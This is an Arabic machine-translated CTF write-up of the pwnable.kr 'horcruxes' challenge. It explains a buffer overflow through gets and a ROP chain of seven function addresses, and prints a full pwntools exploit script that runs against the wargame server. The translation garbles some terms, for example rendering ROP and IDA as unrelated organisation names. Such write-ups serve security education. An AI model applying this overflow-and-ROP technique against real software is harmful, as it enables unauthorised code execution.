حل المشكلات باستخدام pwnable.kr 21 - الهلاك. العودة الموجه البرمجة وسلاسل شرطة عمان السلطانية

صورة

في هذه المقالة ، سنحل المهمة 21 من موقع pwnable.kr ، الذي يهدف إلى تجميع سلسلة ROP.

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

حل لمسعى الهوركروكس


لا أرى أي سبب لوصف البرمجة ذات المنحى العكسي ، لأن هذه المقالة تصف كل شيء بتفصيل كبير.

نضغط على أيقونة توقيع الهوركروكس وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

صورة

عند الاتصال ، نرى الشعار المقابل.

صورة

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

صورة

يوجد ملف تمهيدي ، دعنا نرى الرسالة التي تركوها لنا.

صورة

تشير التقارير إلى أن البرنامج يعمل على المنفذ 9032. لم يتم منحنا الكود المصدري ، لذا قم بتنزيل البرنامج لأنفسنا.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/ 

صورة

قم بتشغيله في المؤسسة الدولية للتنمية وفك ترجمته. هناك ثلاث وظائف مثيرة للاهتمام: التلميح و init_ABCDEFG و ropme.

صورة

اذا حكمنا من خلال الاسم ، يجب أن تحتوي وظيفة التلميح على تلميح. دعنا نراها.

صورة

يقال أنك تحتاج إلى الذهاب من خلال 7 مستويات. حسنًا ، دعنا نلقي نظرة على ropme.

صورة

بالفعل أكثر إثارة للاهتمام. يقرأ البرنامج الرقم وإذا كان مساوياً لقيمة مرجعية معينة ، فإن الوظيفة تسمى التي تعرض هذه القيمة. وهكذا هناك 7 معاني.

صورة

إذا لم تكن هناك تطابقات ، فسيطلب منا إدخال سلسلة تقارن بالمبلغ المتغير. لذلك ، دعونا نلقي نظرة على init_ABCDEFG.

صورة

هذا هو المكان الذي يحدث فيه تهيئة القيم المرجعية ، والتي يتم إنشاؤها عشوائيًا. والمبلغ هو مجموع هذه الأرقام.

نحن فرز البرنامج. يقول تلميح الأدوات الخاص بـ ROP. الفكرة هي ما يلي ، نحتاج إلى استدعاء جميع الوظائف السبع لمعرفة القيم المرجعية ، ثم استدعاء ropme مرة أخرى لنقل مجموع هذه القيم.

بفضل وظيفة get ، يمكننا إعادة كتابة عنوان المرسل باستخدام سلسلة من العناوين. نحسب عدد البايتات إلى عنوان المرسل.

صورة

وبالتالي ، نحن بحاجة إلى نقل البرنامج ، نحتاج إلى نقل 0x78 بايت من كعب الروتين ، ثم في صف 8 عناوين للوظائف. في المؤسسة الدولية للتنمية ، نجد عناوين وظائفنا.

صورة

الآن دعونا نكتب استغلال.
 rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n") 


صورة

نحصل على العلامة المطلوبة ونكمل الجزء الأول من المهام على pwnable.kr.

صورة

يمكنك الانضمام إلينا على Telegram . في المرة القادمة سوف نتعامل مع تجاوز سعة الكومة.

Source: https://habr.com/ru/post/ar463737/


All Articles